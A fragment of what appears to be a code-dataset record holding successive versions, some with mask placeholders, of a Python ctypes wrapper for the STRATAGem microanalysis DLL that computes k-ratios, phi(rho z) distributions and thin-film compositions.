ilayer_)\n if nbelt == -1:\n self._raise_error('Cannot get number of elements')\n flag_ = (c.c_int * nbelt)()\n wfs_ = (c.c_double * nbelt)()\n logger.debug('StSdGetLayRawConcs(key, %i, flag, wfs)' % ilayer)\n if not self._lib.StSdGetLayRawConcs(self._key, ilayer_, flag_, wfs_\n ):\n self._raise_error('Cannot get layer concentration')\n composition = {}\n for z in layer.composition.keys():\n nra_ = c.c_int(z)\n logger.debug('StSdGetEltIdx(key, %i, %i)' % (ilayer, z))\n zindex = self._lib.StSdGetEltIdx(self._key, ilayer_, nra_)\n composition[z] = wfs_[zindex]\n logger.debug('StSdGetThick(key, %i)', ilayer)\n if not self._lib.StSdGetThick(self._key, ilayer_, c.byref(\n thick_known), c.byref(mass_thickness), c.byref(thickness),\n c.byref(density)):\n self._raise_error('Cannot get thickness')\n return (composition, thickness.value / 10000000000.0, \n mass_thickness.value * 10.0, density.value * 1000.0)\n sample = Sample(get_layer(*self._substrate)[0])\n for layer, ilayer in self._layers.items():\n sample.add_layer(*get_layer(layer, ilayer))\n return sample\n\n @_check_key\n def compute_prz(self, maxdepth_m=None, bins=100):\n \"\"\"\n Compute :math:`\\\\phi(\\\\rho z)` of all experiments.\n \n .. warning:: Only available for substrate (no layers).\n \n :arg maxdepth_m: maximum depth of the :math:`\\\\phi(\\\\rho z)` \n distribution in meters. If ``None``, Kanaya-Okayama electron range\n is used with a safety factor of 1.5.\n :type maxdepth_m: :class:`float`\n \n :arg bins: number of bins in the :math:`\\\\phi(\\\\rho z)` distribution\n :type bins: :class:`int`\n \n :return: a :class:`dict` where the keys are the experiments and the \n values are a tuple containing three lists:\n \n * :math:`\\\\rho z` coordinates (in g/cm2)\n * generated intensities of :math:`\\\\phi(\\\\rho z)` (no absorption)\n * emitted intensites of :math:`\\\\phi(\\\\rho z)`\n \"\"\"\n if len(self._layers) > 0:\n raise RuntimeError('PRZ can only be computed for substrate')\n hvs_eV = map(attrgetter('energy_eV'), self._experiments.keys())\n maxhv_eV = max(hvs_eV)\n maxhv_ = c.c_double(maxhv_eV / 1000.0)\n logger.debug('StSetScaleHV(%s)', maxhv_eV / 1000.0)\n self._lib.StSetScaleHV(maxhv_)\n logger.debug('StComputePrz(key)')\n if not self._lib.StComputePrz(self._key):\n self._raise_error('Cannot compute prz')\n przs = {}\n for experiment, indexes in self._experiments.items():\n if maxdepth_m is None:\n maxdepth_m = 0.0\n energy_keV = experiment.energy_eV / 1000.0\n for z, fraction in self._substrate[0].composition.items():\n dr = 0.0276 * atomic_mass_kg_mol(z\n ) * 1000.0 * energy_keV ** 1.67 / (z ** 0.89 *\n mass_density_kg_m3(z) / 1000.0)\n maxdepth_m += fraction / (dr * 1e-06)\n maxdepth_m = 1.0 / maxdepth_m\n maxdepth_m *= 1.5\n increment_kg_m2 = maxdepth_m * self._substrate[0\n ].density_kg_m3 / bins\n ielt_ = c.c_int(indexes[0])\n iline_ = c.c_int(indexes[1])\n ihv_ = c.c_int(0)\n rzs = []\n ys_generated = []\n ys_emitted = []\n for i in range(bins):\n rz_ = c.c_double(i * increment_kg_m2 * 0.1)\n rzs.append(i * increment_kg_m2)\n y_ = c.c_double()\n bUseExp_ = c.c_bool(True)\n self._lib.StPhiRhoZ(self._key, ielt_, iline_, ihv_, rz_,\n bUseExp_, c.byref(y_))\n ys_emitted.append(y_.value)\n y_ = c.c_double()\n bUseExp_ = c.c_bool(False)\n self._lib.StPhiRhoZ(self._key, ielt_, iline_, ihv_, rz_,\n bUseExp_, c.byref(y_))\n ys_generated.append(y_.value)\n przs.setdefault(experiment, (rzs, ys_generated, ys_emitted))\n return przs\n", "step-4": "<mask token>\nimport os\nimport ctypes as c\nimport logging\nlogger = logging.getLogger(__name__)\nfrom operator import attrgetter\nimport random\nimport string\nimport functools\ntry:\n import winreg\nexcept ImportError:\n try:\n import _winreg as winreg\n except ImportError:\n\n\n class winreg:\n HKEY_CURRENT_USER = None\n\n\n class _PyHKEY(object):\n\n def __enter__(self):\n return self\n\n def __exit__(self, exc_type, exc_value, traceback):\n pass\n\n def OpenKey(self, key, sub_key, res, sam):\n return self._PyHKEY()\n\n def QueryValueEx(self, key, value_name):\n return None\nfrom stratagemtools.sample import Sample, CONC_UNKNOWN, CONC_DIFF\nfrom stratagemtools.experiment import Experiment, LINE_KA\nfrom stratagemtools.element_properties import atomic_mass_kg_mol, mass_density_kg_m3\n_REGISTRY_KEY = 'Software\\\\SAMx\\\\Stratagem\\\\Configuration'\n_REGISTRY_VALUENAME = 'InstallOEMDirectory'\nPRZMODE_XPP = 0\n<mask token>\nPRZMODE_PAP = 1\n<mask token>\nPRZMODE_GAU = 2\n<mask token>\nFLUORESCENCE_NONE = 0\n<mask token>\nFLUORESCENCE_LINE = 1\n<mask token>\nFLUORESCENCE_LINE_CONT = 2\n<mask token>\n_CONCENTRATION_FLAG_KNOWN = 0\n_CONCENTRATION_FLAG_UNKNOWN = 1\n_CONCENTRATION_FLAG_STOICHIOMETRIC = 2\n_CONCENTRATION_FLAG_TRACE = 3\n_CONCENTRATION_FLAG_DIFFERENCE = 4\n\n\nclass StratagemError(Exception):\n \"\"\"\n Exception raised for all errors related to the STRATAGem interface.\n \"\"\"\n pass\n\n\ndef _check_key(method):\n\n @functools.wraps(method)\n def wrapper(self, *args, **kwargs):\n if self._key is None:\n raise StratagemError('Not initialize. Call init().')\n return method(self, *args, **kwargs)\n return wrapper\n\n\nclass Stratagem:\n \"\"\"\n Main interface establishing a connection to the STRATAGem OEM interface and\n perform calculations using SAMx's STRATAGem.\n It is highly recommended to use :class:`Stratagem` as a context manager \n (i.e. ``with`` statement) to ensure that the connection to the DLL is \n properly closed.\n For instance::\n \n >>> with Stratagem() as strata:\n ... strata.prz_mode = PRZMODE_XPP\n \n Otherwise the following series of method must be called::\n \n >>> strata = Stratagem()\n >>> strata.init()\n >>> strata.prz_mode = PRZMODE_XPP\n >>> strata.close()\n \"\"\"\n\n def __init__(self, dll_path=None, display_error=True):\n \"\"\"\n :arg dll_path: complete path to the location of ``stratadllogger.dll``\n (optional). If ``None``, the path is found in the Windows registry\n under ``Software\\\\SAMx\\\\Stratagem\\\\Configuration``. If the DLL is not\n found a :class:`StratagemError` is raised.\n :type dll_path: :class:`str`\n \n :arg display_error: whether to display a message dialog on error\n :type display_error: :class:`bool`\n \"\"\"\n if dll_path is None:\n with winreg.OpenKey(winreg.HKEY_CURRENT_USER, _REGISTRY_KEY\n ) as key:\n basedir = winreg.QueryValueEx(key, _REGISTRY_VALUENAME)[0]\n dll_path = os.path.join(basedir, 'bin', 'stratadll.dll')\n cwd = os.getcwd()\n try:\n logger.debug('dll=%s', dll_path)\n self._lib = c.WinDLL(dll_path)\n finally:\n os.chdir(cwd)\n logger.debug('StEnableErrorDisplay(%r)', display_error)\n self._lib.StEnableErrorDisplay(c.c_bool(display_error))\n self._key = None\n self._cwd = os.getcwd()\n self._layers = {}\n self._substrate = None\n self._experiments = {}\n self._tmpstandards = []\n\n def __enter__(self):\n self.init()\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.close()\n return False\n\n def _stobjectnew(self, key=None, standard=False):\n if key is None:\n characters = string.ascii_lowercase\n key = ''.join(random.choice(characters) for _ in range(8))\n key = key.encode('ascii')\n if not isinstance(key, c.c_byte):\n key = c.create_string_buffer(key)\n bnormal_ = c.c_bool(not standard)\n iniflags_ = c.c_int(0)\n logger.debug('StObjectNew(key, %r, %i)', not standard, 0)\n if not self._lib.StObjectNew(key, bnormal_, iniflags_):\n self._raise_error('Cannot create object')\n return key\n\n def _raise_error(self, alternate=''):\n \"\"\"\n Raises a :class:`StratagemError`. \n The error code and message of known errors are retrieved from STRATAGem. \n If this is not possible, *alternate* is used as the error message.\n \"\"\"\n errnum_ = c.c_ulong()\n errtype_ = c.c_int()\n self._lib.StGetLastError(c.byref(errnum_), c.byref(errtype_))\n if errnum_.value != 0:\n if errtype_.value == 0:\n buf_ = c.create_string_buffer(256)\n self._lib.StGetMsg(errnum_, buf_, 256)\n raise StratagemError(buf_.value.decode('ascii'))\n elif errtype_.value == 1:\n raise c.WinError(errtype_.value)\n else:\n raise StratagemError('Error %i' % errnum_.value)\n else:\n raise StratagemError(alternate)\n\n def init(self):\n \"\"\"\n Initializes and setups STRATAGem.\n It does not have to be used if :class:`Stratagem` is used as a context\n manager.\n \"\"\"\n if self._key is not None:\n raise RuntimeError('Already initialized. Call close() first.')\n self._key = self._stobjectnew()\n self._cwd = os.getcwd()\n self.reset()\n\n def close(self):\n \"\"\"\n Closes the connection to the STRATAGem DLL.\n It does not have to be used if :class:`Stratagem` is used as a context\n manager.\n \"\"\"\n if self._key is not None:\n logger.debug('StObjectDelete(key)')\n self._lib.StObjectDelete(self._key)\n self._key = None\n for filepath in self._tmpstandards:\n os.remove(filepath)\n logger.debug('Remove temporary standard: %s', filepath)\n self.reset()\n\n def reset(self):\n \"\"\"\n Resets all parameters to the defaults, remove all experiments and sample.\n \"\"\"\n if self._key:\n self._lib.StObjectReset(self._key)\n os.chdir(self._cwd)\n self._layers.clear()\n self._substrate = None\n self._experiments.clear()\n self._tmpstandards.clear()\n\n @_check_key\n def set_sample(self, sample):\n \"\"\"\n Sets the sample, which will be used in all subsequent calculations.\n Note that only one sample can be defined.\n \n :arg sample: sample definition\n :type sample: :class:`Sample`\n \"\"\"\n self.reset()\n for layer in sample.layers:\n index = self._add_layer(layer, substrate=False)\n self._layers.setdefault(layer, index)\n index = self._add_layer(sample.substrate, substrate=True)\n self._substrate = sample.substrate, index\n\n @_check_key\n def get_sample(self):\n \"\"\"\n Returns the current sample. \n It can correspond to the sample defined by :meth:`set_sample` or the\n sample resulting from the computations (see :meth:`compute`).\n \n .. note:: a new sample is returned every time this method is called\n \n :return: current sample\n :rtype: :class:`Sample`\n \"\"\"\n sample = Sample(self._substrate[0].composition)\n for layer in self._layers:\n sample.add_layer(layer.composition, layer.thickness_m, layer.\n mass_thickness_kg_m2, layer.density_kg_m3)\n return sample\n sample = property(get_sample, set_sample, doc='Property to set/get sample')\n\n def _add_layer(self, layer, substrate=False, key=None):\n \"\"\"\n Internal method to add a layer from top to bottom. \n The last layer added is considered as the substrate.\n \n :arg layer: layer\n :type layer: :class:`.Layer`\n \n :return: index of the layer\n \"\"\"\n if key is None:\n key = self._key\n logger.debug('StSdAddLayer(key)')\n ilayer_ = self._lib.StSdGetNbLayers(key)\n logger.debug('StSdAddLayer(key, %i)', ilayer_)\n if not self._lib.StSdAddLayer(key, ilayer_):\n self._raise_error('Cannot add layer')\n for i, value in enumerate(layer.composition.items()):\n ielt_ = c.c_int(i)\n logger.debug('StSdAddElt(key, %i, %i)', ilayer_, i)\n if not self._lib.StSdAddElt(key, ilayer_, ielt_):\n self._raise_error('Cannot add element')\n z, wf = value\n nra_ = c.c_int(z)\n logger.debug('StSdSetNrAtom(key, %i, %i, %i)', ilayer_, i, z)\n if not self._lib.StSdSetNrAtom(key, ilayer_, ielt_, nra_):\n self._raise_error('Cannot set atomic number')\n if wf is None or wf == CONC_UNKNOWN:\n flag = _CONCENTRATION_FLAG_UNKNOWN\n elif wf == CONC_DIFF:\n flag = _CONCENTRATION_FLAG_DIFFERENCE\n else:\n flag = _CONCENTRATION_FLAG_KNOWN\n wf_ = c.c_double(wf)\n logger.debug('StSdSetConc(key, %i, %i, %f)', ilayer_, i, wf)\n if not self._lib.StSdSetConc(key, ilayer_, ielt_, wf_):\n self._raise_error('Cannot set concentration')\n logger.debug('StSdSetConcFlag(key, %i, %i, %i)', ilayer_, i, flag)\n if not self._lib.StSdSetConcFlag(key, ilayer_, ielt_, c.c_int(flag)\n ):\n self._raise_error('Cannot set concentration flag')\n if not substrate:\n thick_known = layer.is_thickness_known()\n thick_known_ = c.c_bool(thick_known)\n if layer.is_density_known():\n density = layer.density_kg_m3 / 1000.0\n else:\n density = 10.0\n density_ = c.c_double(density)\n if thick_known:\n thickness = layer.thickness_m * 10000000000.0\n mass_thickness = layer.mass_thickness_kg_m2 * 0.1\n else:\n thickness = 0.0\n mass_thickness = 0.0\n thickness_ = c.c_double(thickness)\n mass_thickness_ = c.c_double(mass_thickness)\n logger.debug('StSdSetThick(key, %i, %r, %d, %d, %d)', ilayer_,\n thick_known, mass_thickness, thickness, density)\n if not self._lib.StSdSetThick(key, ilayer_, thick_known_,\n mass_thickness_, thickness_, density_):\n self._raise_error('Cannot set thickness')\n return int(ilayer_)\n\n def _create_standard(self, standard):\n \"\"\"\n Internal method to create a new object defining the standard \n :class:`.Sample`.\n \"\"\"\n key_ = self._stobjectnew(standard=True)\n for layer in standard.layers:\n self._add_layer(layer, substrate=False, key=key_)\n self._add_layer(standard.substrate, substrate=True, key=key_)\n filename = key_.value.decode('ascii') + '.tfs'\n filepath = os.path.join(self.get_standard_directory(), filename)\n filepath_ = c.create_string_buffer(filepath.encode('ascii'))\n logger.debug('StObjectWriteFile(key, %s)', filepath)\n if not self._lib.StObjectWriteFile(key_, filepath_):\n self._raise_error('Cannot save standard')\n self._lib.StObjectDelete(key_)\n self._tmpstandards.append(filepath)\n return filepath\n\n @_check_key\n def add_experiment(self, experiment):\n \"\"\"\n Adds an experiment, i.e. measurements of k-ratio at different energies.\n \n .. hint:: Use :meth:`reset` method to remove defined experiments.\n \n :arg experiment: experiment\n :type experiment: :class:`Experiment`\n \"\"\"\n nra_ = c.c_int(experiment.z)\n klm_ = c.c_int(experiment.line)\n hv_ = c.c_double(experiment.energy_eV / 1000.0)\n ielt_ = c.c_int()\n iline_ = c.c_int()\n iexpk_ = c.c_int()\n logger.debug('StEdAddNrAtomLineHV(key, %i, %i)', experiment.z,\n experiment.line)\n if not self._lib.StEdAddNrAtomLineHV(self._key, nra_, klm_, hv_, c.\n byref(ielt_), c.byref(iline_), c.byref(iexpk_)):\n self._raise_error('Cannot add atomic number and line')\n standard = experiment.standard\n if isinstance(standard, Sample):\n standard = self._create_standard(standard)\n standard_ = c.create_string_buffer(standard.encode('ascii'))\n logger.debug('StEdSetLine(key, %i, %i, %i, %s)', ielt_.value,\n iline_.value, klm_.value, standard)\n if not self._lib.StEdSetLine(self._key, ielt_, iline_, klm_, standard_\n ):\n self._raise_error('Cannot set standard')\n analyzed = experiment.is_analyzed()\n analyzed_ = c.c_bool(analyzed)\n logger.debug('StEdSetAnalyzedFlag(key, %i, %r)', ielt_.value, analyzed)\n if not self._lib.StEdSetAnalyzedFlag(self._key, ielt_, analyzed_):\n self._raise_error('Cannot add experiment analyzed flag')\n kratio_ = c.c_double(experiment.kratio)\n logger.debug('StEdSetExpK(key, %i, %i, %i, %f, %f, %f, 0.0, 2)',\n ielt_.value, iline_.value, iexpk_.value, experiment.energy_eV /\n 1000.0, experiment.energy_eV / 1000.0, experiment.kratio)\n if not self._lib.StEdSetExpK(self._key, ielt_, iline_, iexpk_, hv_,\n hv_, kratio_, c.c_double(0.0), c.c_int(2)):\n self._raise_error('Cannot set experiment k-ratio')\n if experiment.is_analyzed():\n indexes = ielt_.value, iline_.value, iexpk_.value\n self._experiments.setdefault(experiment, indexes)\n\n @_check_key\n def add_experiments(self, *exps):\n \"\"\"\n Adds several experiments::\n \n >>> strata.add_experiments(exp1, exp2, exp3)\n \"\"\"\n for exp in exps:\n self.add_experiment(exp)\n\n def get_experiments(self):\n \"\"\"\n Returns a :class:`tuple` of all defined experiments.\n \n :rtype: :class:`tuple`\n \"\"\"\n return tuple(self._experiments.keys())\n\n @_check_key\n def set_geometry(self, toa, tilt, azimuth):\n \"\"\"\n Sets the geometry.\n \n :arg toa: take off angle (in radians)\n :arg tilt: tilt angle (in radians)\n :arg azimuth: azimuthal angle (in radians)\n \"\"\"\n toa_ = c.c_double(toa)\n tilt_ = c.c_double(tilt)\n azimuth_ = c.c_double(azimuth)\n logger.debug('StSetGeomParams(key, %f, %f, %f)', toa, tilt, azimuth)\n if not self._lib.StSetGeomParams(self._key, toa_, tilt_, azimuth_):\n self._raise_error('Cannot set geometry parameters')\n\n @_check_key\n def get_geometry(self):\n \"\"\"\n Returns the geometry.\n \n :return: take off angle (in radians), tilt angle (in radians),\n azimuthal angle (in radians)\n \"\"\"\n toa_ = c.c_double()\n tilt_ = c.c_double()\n azimuth_ = c.c_double()\n logger.debug('StGetGeomParams(key)')\n if not self._lib.StGetGeomParams(self._key, c.byref(toa_), c.byref(\n tilt_), c.byref(azimuth_)):\n self._raise_error('Cannot get geometry parameters')\n return toa_.value, tilt_.value, azimuth_.value\n geometry = property(get_geometry, doc='Property to get geometry')\n\n @_check_key\n def set_prz_mode(self, mode):\n \"\"\"\n Sets the type of model to use for the :math:`\\\\phi(\\\\rho z)`.\n \n :arg mode: type of model, either\n \n * :data:`PRZMODE_XPP`\n * :data:`PRZMODE_PAP`\n * :data:`PRZMODE_GAU`\n :type mode: :class:`int`\n \"\"\"\n mode_ = c.c_int(mode)\n logger.debug('StSetPrzMode(%i)', mode)\n self._lib.StSetPrzMode(mode_)\n\n @_check_key\n def get_prz_mode(self):\n \"\"\"\n Returns the type of model to use for the :math:`\\\\phi(\\\\rho z)`.\n \n :return: either :data:`PRZMODE_XPP`, :data:`PRZMODE_PAP` or \n :data:`PRZMODE_GAU`\n :rtype: :class:`int`\n \"\"\"\n return self._lib.StGetPrzMode()\n prz_mode = property(get_prz_mode, set_prz_mode, doc=\n 'Property to get/set prz mode')\n\n @_check_key\n def set_fluorescence(self, flag):\n \"\"\"\n Sets the fluorescence flag.\n \n :arg flag: either \n \n * :data:`FLUORESCENCE_NONE`\n * :data:`FLUORESCENCE_LINE`\n * :data:`FLUORESCENCE_LINE_CONT`\n :type flag: :class:`int`\n \"\"\"\n flag_ = c.c_int(flag)\n logger.debug('StSetFluorFlg(%i)', flag)\n self._lib.StSetFluorFlg(flag_)\n\n @_check_key\n def get_fluorescence(self):\n \"\"\"\n Returns the fluorescence flag.\n \n :return: either :data:`FLUORESCENCE_NONE`, :data:`FLUORESCENCE_LINE`\n or :data:`FLUORESCENCE_LINE_CONT`\n :rtype: :class:`int`\n \"\"\"\n return self._lib.StGetFluorFlg()\n fluorescence = property(get_fluorescence, set_fluorescence, doc=\n 'Property to get/set fluorescence')\n\n @_check_key\n def set_standard_directory(self, dirpath):\n \"\"\"\n Sets the directory where standard files are stored.\n \n :arg dirpath: path to directory\n :type dirpath: :class:`str`\n \"\"\"\n dirpath_ = c.create_string_buffer(dirpath.encode('ascii'))\n self._lib.StSetDirectory(c.c_int(1), dirpath_)\n\n @_check_key\n def get_standard_directory(self):\n \"\"\"\n Returns the directory where standard files are stored.\n \n :rtype: :class:`str`\n \"\"\"\n dirpath = (c.c_char * 256)()\n self._lib.StGetDirectory(c.c_int(1), c.byref(dirpath), 256)\n return dirpath.value.decode('ascii')\n standard_directory = property(get_standard_directory,\n set_standard_directory, doc='Property to get/set standard directory')\n\n @_check_key\n def compute_kratio_vs_thickness(self, layer, thickness_low_m,\n thickness_high_m, step):\n \"\"\"\n Computes the variation of the k-ratio as a function of the thickness \n for a layer.\n \n :arg layer: layer of a sample (must have been previously added)\n :type layer: :class:`.Layer`\n \n :arg thickness_low_m: lower limit of the thickness in meters\n :type thickness_low_m: :class:`float`\n \n :arg thickness_high_m: upper limit of the thickness in meters\n :type thickness_high_m: :class:`float`\n \n :arg step: number of steps\n :type step: :class:`int`\n \n :return: :class:`tuple` containing\n \n * :class:`list` of thicknesses\n * :class:`dict` where the keys are experiments (as defined by\n :meth:`.add_experiment`) and the values are :class:`list` \n containing k-ratios for each thickness\n \"\"\"\n logger.debug('StSetKvsThicknessUnit(2)')\n self._lib.StSetKvsThicknessUnit(2)\n if layer not in self._layers:\n raise ValueError('Unknown layer')\n ilayer = self._layers[layer]\n ilayer_ = c.c_int(ilayer)\n step_ = c.c_int(step)\n logger.debug('StSetNbComputedHV(%i)', step)\n self._lib.StSetNbComputedHV(step_)\n low_ = c.c_double(thickness_low_m * 1000000000.0)\n high_ = c.c_double(thickness_high_m * 1000000000.0)\n logger.debug('StComputeKvsThickness(key, %i, %f, %f)', ilayer, \n thickness_low_m * 1000000000.0, thickness_high_m * 1000000000.0)\n if not self._lib.StComputeKvsThickness(self._key, ilayer_, low_, high_\n ):\n self._raise_error('Cannot compute k-ratio vs thickness')\n thicknesses = []\n kratios = {}\n thick_ = c.c_double()\n k_ = c.c_double()\n for i in range(step + 1):\n i_ = c.c_int(i)\n if not self._lib.StGetKvsT_Thick(self._key, i_, c.byref(thick_)):\n self._raise_error('Cannot get thickness')\n thicknesses.append(thick_.value)\n for experiment, indexes in self._experiments.items():\n ielt_ = c.c_int(indexes[0])\n iline_ = c.c_int(indexes[1])\n iHv_ = c.c_int(indexes[2])\n if not self._lib.StGetKvsT_K(self._key, i_, ielt_, iline_,\n iHv_, c.byref(k_)):\n self._raise_error('Cannot get k-ratio')\n kratios.setdefault(experiment, []).append(k_.value)\n return thicknesses, kratios\n\n @_check_key\n def compute_kratio_vs_energy(self, energy_high_eV, step):\n \"\"\"\n Computes the variation of the k-ratio as a function of the incident\n energy. \n Note that the computation also starts at 0 keV up to the specified energy.\n \n :arg energy_high_eV: upper limit of the thickness in electronvolts\n :type energy_high_eV: :class:`float`\n \n :arg step: number of steps\n :type step: :class:`int`\n \n :return: :class:`tuple` containing\n \n * :class:`list` of energies in electronvolts\n * :class:`dict` where the keys are experiments (as defined by\n :meth:`.add_experiment`) and the values are :class:`list` \n containing k-ratios for each energy\n \"\"\"\n step_ = c.c_int(step)\n logger.debug('StSetNbComputedHV(%i)', step)\n self._lib.StSetNbComputedHV(step_)\n energy_ = c.c_double(energy_high_eV / 1000.0)\n logger.debug('StSetMaxHV(%f)' % (energy_high_eV / 1000.0,))\n self._lib.StSetMaxHV(energy_)\n logger.debug('StComputeKvsHV(key)')\n if not self._lib.StComputeKvsHV(self._key):\n self._raise_error('Cannot compute k-ratio vs energy')\n energies = []\n kratios = {}\n k_ = c.c_double()\n bHV_ = c.c_bool(True)\n increment = float(energy_high_eV / 1000.0) / step\n for i in range(step + 1):\n hv = i * increment\n hv_ = c.c_double(hv)\n for experiment, indexes in self._experiments.items():\n ielt_ = c.c_int(indexes[0])\n iline_ = c.c_int(indexes[1])\n if not self._lib.StKvsHvOrRx(self._key, ielt_, iline_, hv_,\n bHV_, c.byref(k_)):\n self._raise_error('Cannot get k-ratio')\n kratios.setdefault(experiment, []).append(k_.value)\n energies.append(hv)\n return energies, kratios\n\n @_check_key\n def compute_kratios(self):\n \"\"\"\n Computes the k-ratios of the different experiments.\n \n :return: :class:`dict` where the keys are experiments (as defined by\n :meth:`.add_experiment`) and the values are k-ratios \n (:class:`float`).\n \"\"\"\n if len(self._layers) == 0:\n return self._compute_kratios_substrate()\n else:\n return self._compute_kratios_multilayers()\n\n @_check_key\n def _compute_kratios_multilayers(self):\n \"\"\"\n Internal method to compute the k-ratios using the \n :meth:`compute_kratio_vs_thickness`.\n \"\"\"\n for i, layer in enumerate(self._layers.keys()):\n if not layer.is_thickness_known():\n raise ValueError('Thickness of layer %i is unknown' % i)\n layer = list(self._layers.keys())[0]\n thickness_low_m = layer.thickness_m\n thickness_high_m = layer.thickness_m * 10\n step = 1\n _thicknesses, kratios = self.compute_kratio_vs_thickness(layer,\n thickness_low_m, thickness_high_m, step)\n output = {}\n for experiment, kratio in kratios.items():\n output.setdefault(experiment, kratio[0])\n return output\n\n @_check_key\n def _compute_kratios_substrate(self):\n \"\"\"\n Internal method to compute the k-ratios using the \n :meth:`compute_kratio_vs_energy`.\n \"\"\"\n output = {}\n step = 2\n for experiment in self._experiments:\n energy_high_eV = experiment.energy_eV\n _energies, kratios = self.compute_kratio_vs_energy(energy_high_eV,\n step)\n kratio = kratios[experiment][-1]\n if kratio < 0:\n logger.warn(\n 'STRATAGem returns a negative k-ratio, re-try with energy + 1 eV'\n )\n _energies, kratios = self.compute_kratio_vs_energy(\n energy_high_eV + 1.0, step)\n kratio = kratios[experiment][-1]\n output.setdefault(experiment, kratio)\n return output\n\n @_check_key\n def compute(self, iteration_max=50):\n \"\"\"\n Computes the unknown composition(s) and thickness(es) in the specified\n sample.\n \n :arg iteration_max: maximum number of iterations of the solve\n (default: 50)\n :type iteration_max: :class:`int`\n \n :return: calculated sample\n :rtype: :class:`.Sample`\n \"\"\"\n zs = set(exp.z for exp in self._experiments.keys())\n for layer in (list(self._layers.keys()) + [self._substrate[0]]):\n for z, wf in layer.composition.items():\n if z in zs:\n continue\n if wf is None:\n continue\n logger.debug('Added dummy experiment for z=%i', z)\n exp = Experiment(z, LINE_KA, 0.0, analyzed=False)\n self.add_experiment(exp)\n iteration_max_ = c.c_int(iteration_max)\n logger.debug('StSetMaxNbIter(%i)', iteration_max)\n self._lib.StSetMaxNbIter(iteration_max_)\n logger.debug('StComputeIterpStart(key)')\n if not self._lib.StComputeIterpStart(self._key):\n self._raise_error('Cannot start iteration')\n continue_ = c.c_bool(True)\n iteration = 0\n logger.debug('Start iteration')\n while True:\n iteration += 1\n logger.debug('Iteration #%i' % iteration)\n logger.debug('StComputeIterpNext(key, %r)' % continue_.value)\n if not self._lib.StComputeIterpNext(self._key, c.byref(continue_)):\n break\n if not continue_.value:\n break\n logger.debug('Iteration completed')\n thick_known = c.c_bool()\n mass_thickness = c.c_double()\n thickness = c.c_double()\n density = c.c_double()\n\n def get_layer(layer, ilayer):\n ilayer_ = c.c_int(ilayer)\n logger.debug('StSdGetNbElts(key, %i)' % ilayer)\n nbelt = self._lib.StSdGetNbElts(self._key, ilayer_)\n if nbelt == -1:\n self._raise_error('Cannot get number of elements')\n flag_ = (c.c_int * nbelt)()\n wfs_ = (c.c_double * nbelt)()\n logger.debug('StSdGetLayRawConcs(key, %i, flag, wfs)' % ilayer)\n if not self._lib.StSdGetLayRawConcs(self._key, ilayer_, flag_, wfs_\n ):\n self._raise_error('Cannot get layer concentration')\n composition = {}\n for z in layer.composition.keys():\n nra_ = c.c_int(z)\n logger.debug('StSdGetEltIdx(key, %i, %i)' % (ilayer, z))\n zindex = self._lib.StSdGetEltIdx(self._key, ilayer_, nra_)\n composition[z] = wfs_[zindex]\n logger.debug('StSdGetThick(key, %i)', ilayer)\n if not self._lib.StSdGetThick(self._key, ilayer_, c.byref(\n thick_known), c.byref(mass_thickness), c.byref(thickness),\n c.byref(density)):\n self._raise_error('Cannot get thickness')\n return (composition, thickness.value / 10000000000.0, \n mass_thickness.value * 10.0, density.value * 1000.0)\n sample = Sample(get_layer(*self._substrate)[0])\n for layer, ilayer in self._layers.items():\n sample.add_layer(*get_layer(layer, ilayer))\n return sample\n\n @_check_key\n def compute_prz(self, maxdepth_m=None, bins=100):\n \"\"\"\n Compute :math:`\\\\phi(\\\\rho z)` of all experiments.\n \n .. warning:: Only available for substrate (no layers).\n \n :arg maxdepth_m: maximum depth of the :math:`\\\\phi(\\\\rho z)` \n distribution in meters. If ``None``, Kanaya-Okayama electron range\n is used with a safety factor of 1.5.\n :type maxdepth_m: :class:`float`\n \n :arg bins: number of bins in the :math:`\\\\phi(\\\\rho z)` distribution\n :type bins: :class:`int`\n \n :return: a :class:`dict` where the keys are the experiments and the \n values are a tuple containing three lists:\n \n * :math:`\\\\rho z` coordinates (in g/cm2)\n * generated intensities of :math:`\\\\phi(\\\\rho z)` (no absorption)\n * emitted intensites of :math:`\\\\phi(\\\\rho z)`\n \"\"\"\n if len(self._layers) > 0:\n raise RuntimeError('PRZ can only be computed for substrate')\n hvs_eV = map(attrgetter('energy_eV'), self._experiments.keys())\n maxhv_eV = max(hvs_eV)\n maxhv_ = c.c_double(maxhv_eV / 1000.0)\n logger.debug('StSetScaleHV(%s)', maxhv_eV / 1000.0)\n self._lib.StSetScaleHV(maxhv_)\n logger.debug('StComputePrz(key)')\n if not self._lib.StComputePrz(self._key):\n self._raise_error('Cannot compute prz')\n przs = {}\n for experiment, indexes in self._experiments.items():\n if maxdepth_m is None:\n maxdepth_m = 0.0\n energy_keV = experiment.energy_eV / 1000.0\n for z, fraction in self._substrate[0].composition.items():\n dr = 0.0276 * atomic_mass_kg_mol(z\n ) * 1000.0 * energy_keV ** 1.67 / (z ** 0.89 *\n mass_density_kg_m3(z) / 1000.0)\n maxdepth_m += fraction / (dr * 1e-06)\n maxdepth_m = 1.0 / maxdepth_m\n maxdepth_m *= 1.5\n increment_kg_m2 = maxdepth_m * self._substrate[0\n ].density_kg_m3 / bins\n ielt_ = c.c_int(indexes[0])\n iline_ = c.c_int(indexes[1])\n ihv_ = c.c_int(0)\n rzs = []\n ys_generated = []\n ys_emitted = []\n for i in range(bins):\n rz_ = c.c_double(i * increment_kg_m2 * 0.1)\n rzs.append(i * increment_kg_m2)\n y_ = c.c_double()\n bUseExp_ = c.c_bool(True)\n self._lib.StPhiRhoZ(self._key, ielt_, iline_, ihv_, rz_,\n bUseExp_, c.byref(y_))\n ys_emitted.append(y_.value)\n y_ = c.c_double()\n bUseExp_ = c.c_bool(False)\n self._lib.StPhiRhoZ(self._key, ielt_, iline_, ihv_, rz_,\n bUseExp_, c.byref(y_))\n ys_generated.append(y_.value)\n przs.setdefault(experiment, (rzs, ys_generated, ys_emitted))\n return przs\n", "step-5": "\"\"\"\nMain class of the interface.\nIt setups the experimental parameters such as the :class:`.Experiment`'s and\n:class:`.Sample`, geometry (:attr:`geometry <Stratagem.geometry>`), type of \n:math:`\\\\phi(\\\\rho z)` model (:attr:`prz_mode <Stratagem.prz_mode>`) and \nfluorescence mode (:attr:`fluorescence <Stratagem.fluorescence>`).\n\"\"\"\n\n# Standard library modules.\nimport os\nimport ctypes as c\nimport logging\nlogger = logging.getLogger(__name__)\nfrom operator import attrgetter\nimport random\nimport string\nimport functools\n\ntry:\n import winreg\nexcept ImportError:\n try:\n import _winreg as winreg\n except ImportError:\n class winreg:\n\n 